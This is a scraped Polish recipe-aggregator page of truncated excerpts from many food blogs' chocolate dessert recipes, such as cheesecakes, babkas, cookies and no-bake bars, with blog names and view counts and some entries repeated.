łyżki cukru 200 g masła Masa śmietanowa: 500 ml kremówki 1 galaretka żółta lub czerwona 1-2 łyżki cukru pudru Dodatkowo: 150 g herbatników 1/2 szkl. rumu 100 g czekolady gorzkiej Żółtka miksujemy wraz z cukrem na jasną i puszystą masę (przez około 8 minut). Następnie stopniowo wsypujemy przesianą mąkę. Miksujemy na średnich obrotach miksera, tylko do połączenia. Białka ubijamy(...)biszkoptem z makiem. Na nim rozprowadzamy masę śmietanową (najlepiej od razu po przygotowaniu, bo dość szybko gęstnieje). Na wierzchu rozkładamy herbatniki nasączone rumem. Całość dekorujemy roztopioną w kąpieli wodnej czekoladą

Smaki Na Talerzu
CZEKOLADOWE CIASTO GOTOWANE W SŁOIKU 89

przyjezdni przywożą ze sobą do Warszawy. Ale czy jedliście ciasto w słoiku? A czy gotowaliście kiedykolwiek ciasto? Jeżeli nie to spróbujcie. Magia w najwyższym wydaniu. Składniki: 2 tabliczki czekolady mlecznej 250 g masła 1 łyżka oleju rzepakowego 250 g cukru 450 g mąki pszennej 100 ml mleka 200 g chałwy 40 g kakao 4 jajka szczypta przyprawy do piernika(...)karmel Suche składniki wymieszać ze sobą. Masło utrzeć z cukrem. Dodawać po jednym jajku oraz wlać sok pomarańczowy oraz olej. Dodajemy suche składniki. Wyrabiamy ciasto. Dodajemy mleko i wyrabiamy. Czekoladę oraz chałwę kroimy na małe kawałki i dodajemy do ciasta. Dodajemy również orzechy. Mieszamy. Słoiki smarujemy masłem. Wykładamy ciasto do słoików na ok 2/3 wysokości. Słoiki zamykamy metalowymi klamrami. Słoiki

Kuchnia w oparach
FRIENDSHIP CAKE CZYLI CIASTO PRZYJAŹNI 144

mąki 150 ml oleju 3 jajka 1 łyżeczka proszku do pieczenia 3 łyżki cukru waniliowego 2 starte jabłka 2 garście pestek dyni, słonecznika i orzechów  szczypta cynamonu czekolada pokruszona do posypania ciasta Poniedziałek: Zaczyn wlać do plastikowej miski. Dodać bez mieszania 250 g cukru. Zostawić pod przykrytą ściereczką.   Wtorek: Wlać 250 ml letniego mleka Wydojone Bez laktozy(...)mąki, olej, jajka, proszek do pieczenia, cukier waniliowy. Dokładnie wymieszać drewnianą łyżką. Dodać pestki dyni, słonecznika, orzechy, cynamon oraz starte jabłka. Wymieszać. Przełożyć do formy, wierzch posypać czekoladą. Piec w piekarniku rozgrzanym do 180 st. przez ok 50 minut

Kuchnia w oparach
BATONIKI CZEKOLADOWO-ORZECHOWE Z CHRUPIĄCYMI ZBOŻAMI 106

Jedyny minus to taki, że zbyt długo nie mogą leżeć w temperaturze pokojowej, bo robią się miękkie. Składniki: 200 ml mleka zagęszczonego niesłodzonego 150 g masła 100 g gorzkiej czekolady 4 łyżki masła orzechowego 2-3 łyżki miodu 1 op. chrupiących zbóż z żurawiną Radix-Bis Wykonanie: Do rondelka wlewamy mleko, podgrzewamy na małym ogniu i rozpuszczamy masło oraz czekoladę

Kuchnia MagdaLeny
Bezglutenowe 4 składnikowe batoniki bez pieczenia 237

Składniki na około 20 batoników: 100 g preparowanego ryżu/kaszy jaglanej itp. 150 g płatków migdałowych 1-2 banany (2 małe, lub jeden duży) 100 g gorzkiej czekolady Przygotowanie: Czekoladę rozpuść w kąpieli wodnej, banana dokładnie zblenduj. Wszystkie składniki dokładnie wymieszaj- najlepiej dłonią. Równomiernie rozłóż masę w formię wyłożonej papierem do pieczenia. Dociśnij. Włóż do zamrażalnika na godzinkę, następnie pokrój

greenscarf
Ciasto serowe z truskawkami 149

posypać cukrem pudrem lub polać polewą, po czym udekorować truskawkami. Uwagi: Moje ciasto udekorowałam słodką polewą w postaci raczej rzadkiej niż gęstej. Wykorzystałam w tym celu: 100 g mlecznej czekolady, 100 g śmietany 30% i łyżeczkę masła. Śmietanę podgrzałam, dodałam do niej połamaną czekoladę, masło i energicznie mieszając roztopiłam całość na małym ogniu. Taka słodka polewa idealnie pasuje do tego

Passions hobbies life
MAZUREK CYTRYNOWY 153

waniliowego 1 średnie jajko 1-2 łyżki zimnej wody Cytrynowy syrop: 1 obrana i pokrojona w plastry cytryna około ½ szklanki wody ½ szklanki cukru Krem: 150g sera mascarpone 100g białej czekolady 2 łyżki syropu cytrynowego Wykonanie: Spód   (forma 24x24 lub 25x35cm): ze wszystkich składników czyli mąki, cukrów, masła jajka i wody zagniatamy gładkie ciasto ciasto wałkujemy na blacie podsypanym delikatnie(...)Cytrynę można wyjąć i odsączyć na papierze do pieczenia albo użyć taką bezpośrednio z syropu Krem:   serek mascarpone mieszamy z dwiema łyżkami przestudzonego syropu z cytryn i roztopioną czekoladą Wykonanie: zimny spód mazurka smarujemy kremem i ozdabiamy go cytrynami z   syropu Źródło: http://kotlet.tv/mazurek-cytrynowy/

Słodkie zapomnienie
CZEKOLADOWA BABKA MAJONEZOWA 138

szklanki mąki pszennej ½ szklanki mąki ziemniaczanej 2 czubate łyżki ciemnego kakao 2 płaskie łyżeczki proszku do pieczenia 3 duże łyżki majonezu (czubate) aromat waniliowy ( pominęłam) dodatkowo np. gorzka czekolada, czekoladowe jajka Wykonanie: w misce ubijamy całe jaja ze szczyptą soli na puszystą masę następnie stopniowo dodajemy oba cukry i miksujemy, aż uzyskamy konsystencję gęstego kogla-mogla do masy jajecznej dodajemy(...)170ºC. Ciasta nie wyjmujemy od razu z piekarnika ( piekarnik wyłączamy, uchylamy drzwiczki i zostawiamy ciasto na 10 minut w środku, dzięki temu nie opadnie) ostudzoną babkę polewamy roztopioną czekoladą użyłam gorzkiej plus dodam jajka czekoladowe i żurawinę, ale to co użyjecie do ozdoby to tak naprawdę zależy już od was i tego co lubicie :) Źródło: http://grunttoprzepis.blogspot.com/2015/04/czekoladowa-babka-majonezowa-konkurs.html

Słodkie zapomnienie
Babeczki stracciatella z kremem i życzenia wielkanocne 135

Joanna Ciasto:   2 szkl mąki pszennej 2 łyżeczki proszku do pieczenia 4 łyżki domowego cukru waniliowego 1 jajko 1 szkl mleka 1/2 szkl oleju szczypta soli 1/2 tabliczki czekolady mlecznej  Krem: 100 g masła 100 g mascarpone 1/3- 1/2 szkl cukru pudru łyżeczka ekstraktu waniliowego kilka kropel zielonego barwnika czekoladowe jajeczka kolorowa posypka Babeczki: W jednej misce wymieszać(...)suche składniki ze startą czekoladą, w drugiej wymieszać mokre. Połączyć wszystko razem łyżką, niezbyt dokładnie. Nakładać ciasto do foremek silikonowych lub papilotek do 2/3 wysokości. Piec w 180 stopniach przez ok 20-25 minut. Ostudzić. Krem: Składniki w temperaturze pokojowej. Masło utrzeć z mascarpone na puch, pod koniec miksowania dodać ekstrakt waniliowy, cukier puder oraz barwnik. Masę przełożyć do rękawa

Smakołyki Asi
Bananowe babeczki 117

przygotowaniu bananowe babeczki ! Składniki: 125 ml oleju roslinnego 3 dojrzałe banany 2 jajka 250 g mąki łyżeczka proszku do pieczenia 0,5 łyżeczki sody 7 łyżek cukru 50 gram czekolady opcjonalnie garść suszonej żurawiny lub rodzynek cukier puder do posypania. Przygotowanie : Banany rozgniatamy widelcem na gładką masę Do miski wlewamy olej, dodajemy jajka i ubijamy. Wsypujemy mąkę, cukier, sodę, proszek(...)pieczenia, miksujemy, dodajemy mus bananowy Dodajemy rozkruszoną wcześniej czekoladę i mieszamy. Nakładamy do foremek wyłożonych papilotkami, możemy położyć na wierzch żurawinę lub rodzynki Pieczemy 20 minut w 200 stopniach. Te pyszne babeczki zawsze się udają i zapewniam że bardzo szybko znikną z Waszej Michy

Studencka Micha
Najlepsze ciasta na Wielkanoc 250

patyczek do szaszłyków i możecie robić przeróżne wzory z ciemnej masy.  Nr 4 SERNIK CZEKOLADOWY  Z WANILIĄ Przepis znajdziecie tutaj. Sernik dla tych, którzy ubóstwiają tak jak czekoladę. Tym, która nie straszna bita śmietana, polecam jeszcze na koniec na talerzu polać ją po wierzchu. Coś wspaniałego! (adsbygoogle = window.adsbygoogle || []).push({}); Nr 5 JAGLANY MAKOWIEC Z POMARAŃCZĄ POLANY CZEKOLADĄ Przepis

Zdrowie i pysznie na talerzu
FIT Lion 132

wygrać!  Składniki na 8-9 DUŻYCH sztuk: 4 wafle ryżowe (bezglutenowe) 100 g daktyli suszonych lub świeżych 3 łyżki masła orzechowego 80 g orzeszków ziemnych niesolonych 9 kostek czekolady gorzkiej min. 70% kakao (u mnie z kawałkami karmelu) 3 łyżki mleka (u mnie bez laktozy, może być spokojnie zastąpione roślinnym) Opcjonalnie: kilka kropel aromatu waniliowego Przygotowanie: Daktyle zalewamy lekko(...)orzechowe. Wszystko mieszamy. Jeżeli macie wolną całą szufladę w zamrażarce to wykładamy ją papierem do pieczenia, jeżeli nie - bierzemy jakąś formę silikonową. Ręce moczymy i lekko osuszamy. Formujemy batoniki. Czekoladę rozpuszczamy z mlekiem. Polewamy batoniki i wkładamy do zamrażalnika na ok. 1h. Po tym czasie spokojnie możemy przełożyć batoniki do lodówki

Czarnawisienka
Miękkie ciasteczka z czekoladą 163

Jestem fanką miękkich ciasteczek, dlatego w mojej kolekcji nie mogło zabraknąć tych z czekoladą ;). Ciasteczka zrobiły furorę na urodzinkach Kacperka, gdzie główną atrakcją był tort Miś! W pewnym momencie zaczęłam się poważnie zastanawiać czy był sens w robieniu tortu, skoro to ciasteczka stały się gwiazdą przyjęcia ;). Polecam również miękkie ciasteczka(...)malinami lub ciasteczka z marchewką. Składniki na ok 18 miękkich ciasteczek: Więcej... Artykuł Miękkie ciasteczka z czekoladą pochodzi z serwisu SŁODKI POMYSŁ

Słodki Pomysł
Mazurek z mincemeat 175

imbiru 1/3 łyżeczki goździków mielonych 100 g rodzynek 50 g suszonej żurawiny sok z 1 pomarańczy 1 łyżka likieru amaretto 1 łyżka ekstraktu z wanilii POLEWA CZEKOLADOWA: 50 g czekolady gorzkiej 2 łyżki śmietanki kremówki 30 Mąkę pszenną wymieszać z krupczatką, proszkiem do pieczenia i cukrem pudrem. Posiekać razem z zimnym masłem dodając żółtko i śmietanę. Szybko zagnieść. Do przygotowania(...)ogniu, czasami mieszając, aż żurawina zacznie pękać, a bakalie wchłoną cały płyn. Po wystudzeniu dodać amaretto i ekstrakt waniliowy. Gotowe mincemeat przełożyć do upieczonego kruchego ciasta i wyrównać wierzch. Czekoladę rozpuścić z kremówką i przełożyć do rękawa cukierniczego z okrągłą końcówką. Wycisnąć w formie kratki. Polewę można zwyczajnie rozsmarować po mazurku. Po zastygnięciu można kroić. Udanych wypieków i smacznego

https:KKuchniaMniam
Kokosowe ciasto z białą czekoladą 123

Idealne ciasto – proste, szybkie i pyszne. Poznaj przepis na mocno kokosowe ciasto z białą czekoladą – nie pożałujesz :) “To chyba najlepsze... The post Kokosowe ciasto z białą czekoladą appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Gofry czekoladowe na maślance 150

Czekoladowych łakoci ciąg dalszy, gofry podwójnie czekoladowe. bo oprócz kakao z dodatkiem drobinek czekolady. Gofry na wzór belgijskich, tych z rodzaju trochę racuchowatych. Mięsiste, czekoladowe wnętrze zadowoli wszystkich czekoladocholików. Jeśli wolisz gofry lżejsze i bardziej chrupiące, wystarczy zwiększyć dodatek maślanki, także przepis bardzo uniwersalny. Proste składniki, które na pewno masz na stanie. Zatem do dzieła! Nałożenie wg uznania(...)pudrem. Składniki : 200 g mąki orkiszowej 630 3 jajka 250 g maślanki (lub 450 g ) 40 g kakao 1 łyżeczka cynamonu 50 g masła 50 g ksylitolu/cukru 100 g czekolady 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody szczypta soli Wykonanie suche składniki odważyć i wymieszać maślankę zmiksować z jajkami masło roztopić, przestudzić wymieszać przy pomocy miksera mokre składniki

Gotuj zdrowo!Guten Appetit!
Ciasteczka czekoladowe 131

ryżowej 100 g mąki orkiszowej 20 g gorzkiego kakao 80 ml mleka migdałowego 60 ml miodu lub syropu daktylowego 25 ml oleju słonecznikowego 10 g proszku do pieczenia + gorzka czekolada W rondelku podgrzej mleko z miodem lub syropem daktylowym. Do miski przesiej mąkę ryżową i orkiszową, kakao oraz proszek do pieczenia. Całość dokładnie wymieszaj. Następnie dodaj składniki mokre: mleko(...)syropem lub miodem oraz olej. Całość dokładnie wymieszaj. Czekoladę pokrój na drobne kawałki, dodaj do ciasta. Zagniataj, aż powstanie jednolite ciasto. Odłóż je na ok. 20 minut do lodówki. Piekarnik rozgrzej do 200 stopni. Blachę wyłóż papierem do pieczenia. Ciasto wyjmij z lodówki. Odrywaj niewielkie ilości i formuj z nich lekko rozpłaszczone kuleczki. Ciastka układaj na blasze, pamiętając o zachowaniu

365 dni dookoła kuchni
Sernik czekoladowy z mascarpone 159

szkl. mąki pszennej  łyżeczka proszku do pieczenia szczypta soli 1,5 łyżki cukru 125 g masła 3 żółtka   Masa serowa: 600 g serka mascarpone 200 g gorzkiej czekolady 150 g śmietany kremówki 30 % 180 g cukru 4 jajka 2 łyżki mąki pszennej 3 łyżki rumu   Sposób przygotowania: Spód : mąkę wymieszać z proszkiem do pieczenia i solą. Masło(...)cukrem. Wszystko razem połączyć i wstawić do lodówki na ok. 30 minut. Masa serowa: śmietanę kremówkę podgrzewać na małym ogniu ( nie można jej zagotować ). Do gorącej śmietanki dodać pokruszoną czekoladę. Mieszać do czasu , aż masa zrobi się gładka.Zdjąć z ognia. Serek mascarpone zmiksować z cukrem i jajkami. Wsypać mąkę , dolać rum. Wszystkie składniki dobrze wymieszać. Ciasto wyjąć z lodówki

Różne smaki w kuchni
Sernik czekoladowy z mascarpone 196

szkl. mąki pszennej  łyżeczka proszku do pieczenia szczypta soli 1,5 łyżki cukru 125 g masła 3 żółtka   Masa serowa: 600 g serka mascarpone 200 g gorzkiej czekolady 150 g śmietany kremówki 30 % 180 g cukru 4 jajka 2 łyżki mąki pszennej 3 łyżki rumu   Sposób przygotowania: Spód : mąkę wymieszać z proszkiem do pieczenia i solą. Masło(...)cukrem. Wszystko razem połączyć i wstawić do lodówki na ok. 30 minut. Masa serowa: śmietanę kremówkę podgrzewać na małym ogniu ( nie można jej zagotować ). Do gorącej śmietanki dodać pokruszoną czekoladę. Mieszać do czasu , aż masa zrobi się gładka.Zdjąć z ognia. Serek mascarpone zmiksować z cukrem i jajkami. Wsypać mąkę , dolać rum. Wszystkie składniki dobrze wymieszać. Ciasto wyjąć z lodówki

Różne smaki w kuchni
Miłość o smaku czekoladowym 88

jeszcze innych Walentynki to po prostu dzień świetnej zabawy w gronie przyjaciół i rodziny. Takie małe święto, w środku mroźnej zimy. A świętowanie to przecież pyszne jedzenie, na przykład czekolada. Ciasto czekoladowe z bakaliami Składniki: 1,5 kostki masła 2 szklanki cukru 3 łyżki kakao 6 łyżek wody 2 łyżeczki proszku do pieczenia 4 jajka 2 szklanki mąki ¾ szklanki orzechów(...)gdyby za bardzo zastygła). Kiedy smaki dopełniają słowa… Smak słów i słowa o smaku. Można kochać osoby, ale można uwielbiać też rzeczy, a jedną z nich są słodkości. Czekolady, ciastka, ciasteczka. Najlepszy sposób na Walentynki. Także wtedy, gdy nie lubimy tego święta. Zawsze wtedy, gdy nie lubimy jakiegoś dnia lub gdy za nim przepadamy. Słodkości godzą sprzeczności. Pozwalają przetrwać

KulinarneImpresje.pl
Wielkanocne trufle z białej czekolady 154

Obłędnie słodkie, migdałowe wielkanocne trufle z białej czekolady idealnie się sprawdzą w wielkanocnym koszyku ciesząc swym urokiem i optymistycznym wyglądem. Kiedyś bardzo często... The post Wielkanocne trufle z białej czekolady appeared first on Przepisy: zdrowe, bezglutenowe i eksperymentalne - Eksperymentalnie.com

Eksperymentalnie.com
Tort koszula 127

zważyła, ale się nie przejmujcie- to chwilowe.  Krem jest gotowy jak mieszając wydaje takie klaskanie, obijając się o miskę.  Krem czekoladowy 500 ml śmietany kremówki 400 g czekolady deserowej posiekanej na kawałki Śmietanę podgrzać i do gorącej wsypać pokruszoną czekoladę. Odstawić na 10 minut, następnie wymieszać na gładki krem. Schłodzić w lodowce mieszając od czasu do czasu

Piekarz-Kucharz-Garkotłuk
Ciasto balowe 191

żółtka 200 g masła Na masę śmietanową: 500 ml śmietanki 30% 2 śmietan-fixy 3 łyżki cukru pudru Dodatkowo: 1 puszka masy krówkowej 2 duże paczki solonych krakersow Mleczna czekolada Przygotowanie: Biszkopt: Jajka ubić z cukrami na jasną, puszystą masę. Wsypać przesianą mąkę z proszkiem do pieczenia, i delikatnie wmieszać w masę. Przelać do formy wyłożonej papierem do pieczenia(...)odpowiedniej konsystencji. Przełożenie: Na biszkopt wyłożyć krem budyniowy i przykryć warstwą solonych krakersów. Na krakersy rozsmarować masę kajmakową i wyłożyć kolejna warstwę krakersów. Wyłożyć masę śmietanową i posypać startą czekoladą. Schłodzić w lodówce. Smacznego

My sweet a life
Naleśniki podwójnie czekoladowe 150

palmowego jak to jest u znanego producenta kremów czekoladowych :) Za to spotkamy się z naturalną wanilią a nie waniliną. Polecam 😀 Składniki: 1 szklanka mąki pszennej  80 g gorzkiej czekolady  1 łyżka kakao  500 ml mleka  3 jajka  2 łyżki cukru pudru  2 łyżki masła, rozpuszczonego i przestudzonego szczypta soli  ulubione dodatki np. krem(...)czekoladowy u mnie od Terravita Przygotowanie: Mleko podgrzać, dodać czekoladę, wymieszać do rozpuszczenia, ostudzić. Dodać pozostałe składniki i zmiksować. Ciasto będzie dobrze się rozlewać na patelni po wstawieniu do lodówki na ok. 30-60 minut. Patelnie rozgrzać, nalać olej i zebrać nadmiar papierowym ręcznikiem. Smażyć naleśniki z obu stron pilnując aby zbyt mocno się nie przypiekły (miękkie są smaczniejsze). Podawać

Słodka Strefa
Przekładaniec jabłkowo-orzechowy 664

szkl gorącego mleka 300 g miękkiego masła 150 g cukru pudru Dodatkowo: ok. 100 g maślanych herbatników Polewa czekoladowa: 40 g masła 4 łyżki mleka 100 g mlecznej czekolady Lukier: 40 g cukru pudru 1-2 łyżeczki mleka Przygotowanie: Ciasto kruche: Mąkę, proszek do pieczenia i cukier puder przesiać do miski, dodać pozostałe składniki kruchego ciasta i dobrze zagnieść dłońmi(...)blatem kruchego ciasta. Ciasto wysmarować kremem orzechowym, na kremie poukładać herbatniki- ciasno obok siebie. Polewa czekoladowa: Masło stopić w garnuszku wraz z mlekiem. Do ciepłej mieszanki wsypać posiekaną czekoladę, mieszać, aż się rozpuści i powstanie aksamitna czekoladowa polewa. Ostudzoną polewą wylać na herbatniki. Ciasto schłodzić w lodówce, aż polewa delikatnie zastygnie. W międzyczasie szybciutko przygotować lukier: Cukier puder wymieszać

Nastoletnie Wypiekanie
Babka cynamonowa(prosta) 170

szklanka) 100 ml mleka(1/2 szklanki) 100 g powideł(4 łyżki) 10 g proszku do pieczenia(2 płaskie łyżeczki) 8 g cynamonu(2 łyżeczki) 4 jajka polewa: 100 g czekolady gorzkiej(1 tabliczka) 20 g masła(2 łyżki) wiórki kokosowe do dekoracji Ciasto: Żółtka oddzielić od białek. Mąkę, cynamon i proszek do pieczenia przesiać. Miękkie masło utrzeć z cukrem. Stopniowo(...)Białka ubijamy na sztywno. Delikatnie łączymy z ciastem. Keksówkę smarujemy masłem i obsypujemy bułką tartą. ciasto przelewamy do formy. Pieczemy około 40 - 50 minut w 180 stopniach. Studzimy. Polewa: Czekoladę umieszczamy wraz z masłem nad kąpielą wodną. Łączymy ze sobą składniki. Gotową polewą zdobimy ciasto. Możemy posypać wiórkami kokosowymi. Smacznego

Ciasta z tradycjami
Kremowy Sernik Zebra z Polewą Czekoladową 256

cukru 1 Cukier z wanilią Bourbon z Madagaskaru z ziarenkami 12 g Dr. Oetkera 2 łyżeczki Naturalnego ekstraktu Wanilia Bourbon z Madagaskaru z ziarenkami Dr. Oetkera Polewa: 100g gorzkiej czekolady o zawartości kakao 60% 100ml mleka + 3 łyżki 1 łyżka masła 1 łyżka kakao bez cukru Ciasto: 1. Do miski przełożyć oba sery, dodać obie mąki, cukier, Cukier z wanilią(...)położyć na paterze. Do rondelka wlać mleko, wyspać kakao i dodać łyżkę masła, postawić na ogniu i zagotować, od czasu do czasu mieszając. Zdjąć z ognia i dodać połamaną czekoladę, mieszać, aż się roztopi. Gdy powstanie jednolita, gładka, gęsta masa, dodać jeszcze 2-3 łyżki gorącego mleka i wymieszać. 7. Gotową polewą udekorować sernik i odstawić na około

Mała Cukierenka
Babka cynamonowa(prosta) 188

szklanka) 100 ml mleka(1/2 szklanki) 100 g powideł(4 łyżki) 10 g proszku do pieczenia(2 płaskie łyżeczki) 8 g cynamonu(2 łyżeczki) 4 jajka polewa: 100 g czekolady gorzkiej(1 tabliczka) 20 g masła(2 łyżki) wiórki kokosowe do dekoracji Ciasto: Żółtka oddzielić od białek. Mąkę, cynamon i proszek do pieczenia przesiać. Miękkie masło utrzeć z cukrem. Stopniowo(...)Białka ubijamy na sztywno. Delikatnie łączymy z ciastem. Keksówkę smarujemy masłem i obsypujemy bułką tartą. ciasto przelewamy do formy. Pieczemy około 40 - 50 minut w 180 stopniach. Studzimy. Polewa: Czekoladę umieszczamy wraz z masłem nad kąpielą wodną. Łączymy ze sobą składniki. Gotową polewą zdobimy ciasto. Możemy posypać wiórkami kokosowymi. Smacznego

Ciasta z tradycjami
SERNIKOBROWNIE Z MALINAMI – MUFFINKI + KONKURS! 255

pieczenia – 1 łyżeczka MASA SEROWA: * ser biały 3xmielony – 100 g * cukier – 2 łyżki * białko – 1 szt * mąka ziemniaczana – 1 łyżeczka + maliny i kawałki czekolady SPOSÓB PRZYRZĄDZENIA: W garnku roztapiamy masło dodajemy kakao, zagotowujemy. Odstawiamy, dodajemy powidła lub dżem, cukier, jajko oraz mąkę przesianą z proszkiem – mieszamy. Ser biały mieszamy z mąka ziemniaczaną, cukrem oraz(...)białkiem. Papilotki napełniamy do połowy masą czekoladową, dodajemy masę serową, układamy maliny i kawałki czekolady. Pieczemy ok. 25-30 minut w 170 C. Smacznego! Ps. podajemy oczywiście z proponowanym przeze mnie winem! W ofercie Casillero Del Diablo znajdziemy jeszcze m.in.: Casillero del Diablo – Sauvignon Blanc – wino wytrawne, białe, o aromacie cytrusów, gruszek i li monki. Idealne do dań z owocami

Ostra na Słodko
Ciasto Oczy Carycy 196

mąki ziemniaczanej 4 łyżki cukru kilka kropel aromatu waniliowego 200 g miękkiego masła Galaretka: 2 galaretki wiśniowe 3 szkl gorącej wody (750 ml) Polewa czekoladowa: 100 g gorzkiej czekolady 50 ml mleka 2 łyżeczki cukru pudru 1 łyżeczka masła Dodatkowo: ok. 150 g okrągłych biszkopcików garść wiórek kokosowych do posypania ciasta Przygotowanie: Ciasto ciemne:  Tak jak w przypadku ciasta(...)galaretkę). Po stężeniu galaretki, przykryć ją ciastem z kremem. Polewa czekoladowa: Mleko, cukier puder i masło podgrzać, aż masło się stopi, a mleko będzie ciepłe. Dodać posiekaną gorzką czekoladę, wymieszać do uzyskania gęstej polewy.  Wierzch ciasta oblać polewą czekoladową, którą rozprowadzić po całej powierzchni. Posypać wiórkami kokosowymi. Ciasto schłodzić w lodówce kilka godzin (najlepiej całą noc). Smacznego! Rady: - warto

Nastoletnie Wypiekanie
Bananowy murzynek z suszoną wiśnią, kandyzowaną pigwą i polewą czekoladową 146

blendujemy.  Wrzucamy pigwę i wiśnie. Keksówki smarujemy masłem i obsypujemy mąką.  Przelewamy masę. Piekarnik rozgrzewamy do 160 stopni. Pieczemy ok. 50 min. Polewa czekoladowa: 50 g gorzkiej czekolady 1 łyżka ksylitolu 3 łyżki mleka bez laktozy Rozpuszczamy czekoladę wraz z ksylitolem i mlekiem. Polewamy upieczone i ostudzone ciasto

Czarnawisienka
Torcik Walentynkowy z kremem chantilly (Torta di San Valentino con crema chantilly) 125

cukru pudru 1 łyżka kakao Krem chantilly 250 g śmietany kremówki 25 g cukru pudru pó ł  laski wanilii różowy barwnik spożywczy   gorzka czekolada do dekoracji **** INGREDIENTI  (per 2 mini tortine) Torta 3 uova 50 g di farina 50 g di zucchero a velo 1 cucchiaio di cacao Crema 250 g di panna fresca(...)cerchi di 8 cm di diametro. Torciki przekładamy przygotowanym kremem. Układamy jeden na drugi, tworząc 3 warstwy. Wierzch torcików dekorujemy kremem chantilly, oprószamy gorzk ą  czekolad ą.  Przed podaniem torciki schładzamy w lod ó wce. **** Distribuite la crema chantilly su due dischi, chiudete con il terzo disco. Decorate la torta con la crema

La grande e la piccola cuoca
Tort koszula 172

zważyła, ale się nie przejmujcie- to chwilowe.  Krem jest gotowy jak mieszając wydaje takie klaskanie, obijając się o miskę.  Krem czekoladowy 500 ml śmietany kremówki 400 g czekolady deserowej posiekanej na kawałki Śmietanę podgrzać i do gorącej wsypać pokruszoną czekoladę. Odstawić na 10 minut, następnie wymieszać na gładki krem. Schłodzić w lodowce mieszając od czasu do czasu

Piekarz-Kucharz-Garkotłuk
Oponki pieczone (bez glutenu) 144

sody -2 łyżki śmietany -250 g twarogu chudego lub półtłustego -łyżeczka aromatu waniliowego (można pominąć lub zastąpić cukrem waniliowym) Dodatki: -cukier puder (u mnie zmielony słodzik) -polewa z gorzkiej czekolady -polewa z odżywki białkowej -wiórki kokosowe do posypania (można użyć pokruszonych orzechów) (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: 1. Przesiewamy mąki do większej miski razem z proszkiem do pieczenia i sodą(...)wyłożoną papierem do pieczenia (mi wchodziło po 12 szt). Pieczemy 10-15 min do zrumienienia. (uważajcie, aby spodu nie podpiekło). Powtarzamy etapy 3,4 to wykończenia ciasta. Dodatki: 5. Czekoladę ok 50 g rozpuszczamy z olejem kokosowym, studzimy. Jeśli stosujecie odżywki, rozpuszczamy ją z odrobiną wody, polewamy tym wszystkim oponki i posypujemy wiórkami kokosowymi. SMACZNEGO

Zdrowie i pysznie na talerzu
Ciasteczka HOBNOB'S 141

cukru 2 łyżki miodu 100 g płatków owsianych błyskawicznych 100 g mąki pszennej pełnoziarnistej ½ łyżeczki sody oczyszczonej ½ łyżeczki proszku do pieczenia szczypta soli  100 g gorzkiej (lub mlecznej czekolady) 10 g masła  Przygotowanie: Ucieramy masło z cukrem (mikserem). Dodajemy miód i dalej ucieramy. Zmniejszamy prędkość miksera i dodajemy płatki owsiane, mąkę, sodę, proszek i sól.  Miksujemy, ciasto(...)odległości między ciasteczkami, bo w trakcie pieczenia trochę się "rozleją".  Pieczemy 10-12 minut w piekarniku nagrzanym do 180 stopni. Po wystudzeniu przygotowujemy polewę: w kąpieli wodnej topimy czekoladę (mleczną, gorzką lub mieszaną) z dodatkiem masła.  Polewą czekoladową smarujemy każde ciastko od strony spodu.  Smacznego

bistro mama
Ciasto milionera - caramel millionaires'shortbread 211

ciasto o dziwnej nazwie jest wprost idealne na karnawał . Kruchy, maślany spód, karmelowe nadzienie i porządna warstwa dobrej czekolady sprawiają, że jest bardzo bogate w smaku i smakuje bosko - jak milion dolarów! Ciasto milionera, millionaires'shortbread, pochodzi ze Szkocji. Ponieważ Szkoci uchodzą za ludzi bardzo skąpych to według obiegowej opinii na taki bogaty wypiek mógł pozwolić sobie jedynie milioner(...)wszystko, poprzestać na jednym kawałeczku. Ale czy któraś z tych wad zniechęci Was do zrobienia? Mam nadzieję, że nie. Smaczna Pyza zaprasza na pyszne ciasto z karmelowym nadzieniem i czekoladą! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Ciastka kaszaki 111

takie wyzwania to ja lubię i przerobiłam pewnie większości znane ciasto Kaszak. W mojej wersji są to pojedynczo przekładane herbatniki masą kakaową z kaszy manny. Polałam je rozpuszczoną gorzką czekoladą, przez co wyszły takie łaciate krówki.😋 Taki deser sprawdzi się idealnie jako przekąska na przyjęcie. Często widuje, że poszukujecie przepisów na słodkości dla przedszkolaków i w takich przypadkach polecam właśnie(...)Składniki: -3 szklanki mleka -1 szklanka kaszy manny suchej -3 łyżki kakao -pół szklanki słodzika/cukru -180 g masła prawdziwego  -herbatniki najlepiej pełnoziarniste  +polewa z gorzkiej czekolady Przygotowanie 1. Kakao rozrobić w małej ilości mleka.  2. Resztę mleka, słodzik/cukier, kaszę manną i masło zagotowujemy w rondelku na małym ogniu cały czas mieszając. Po paru minutach dodajemy

Zdrowie i pysznie na talerzu
Ciasteczka z masłem orzechowym i czekoladą 183

orzechowego z kawałkami orzeszków 50 g masła w temp. pokojowej 1 szkl cukru pudru 1,5 szkl mąki pszennej 1 łyżeczka sody 2 jajka łyżeczka ekstraktu waniliowego tabliczka gorzkiej czekolady Masło i masło orzechowe utrzeć z cukrem pudrem na puch. Nadal miksując dodawać jajka i ekstrakt waniliowy. Mąkę przesiać z sodą i wymieszać z utartą masą. Czekoladę posiekać i wymieszać

Smakołyki Asi
Sernik podwójnie kajmakowy z pianką i "Gorzka pomarańcza" 154

zimnej śmietany (używam 18%) 200 g masy krówkowej / kajmakowej 1 lekko kopiasta łyżka żelatyny spożywczej 2 łyżki gorącej wody ewentualnie cukier puder do smaku Dodatkowo kilka kostek gorzkiej czekolady 16 herbatników Formę wyłożyć papierem do pieczenia i herbatnikami. Żółtka oddzielić od białek. W dużej misce utrzeć masło z cukrem i cukrem waniliowym. Stopniowo dodawać po jednym żółtku. Ucierać dalej(...)puder do smaku. Żelatynę rozpuścić w gorącej wodzie i dodać ją do śmietany z masą krówkową, ciągle ubijając. Piankę wyłożyć na sernik i równo rozsmarować. Wierzch sernika posypać tartą czekoladą. Sernik włożyć do lodówki do stężenia na kilka godzin. Co pewien czas lubię przeczytać książkę z gatunku non fiction. Tym razem trafiła mi się "Gorzka pomarańcza" Nadii Hamid . Autorka jest

Weekendy w domu i ogrodzie
Brownie pomarańczowe 85

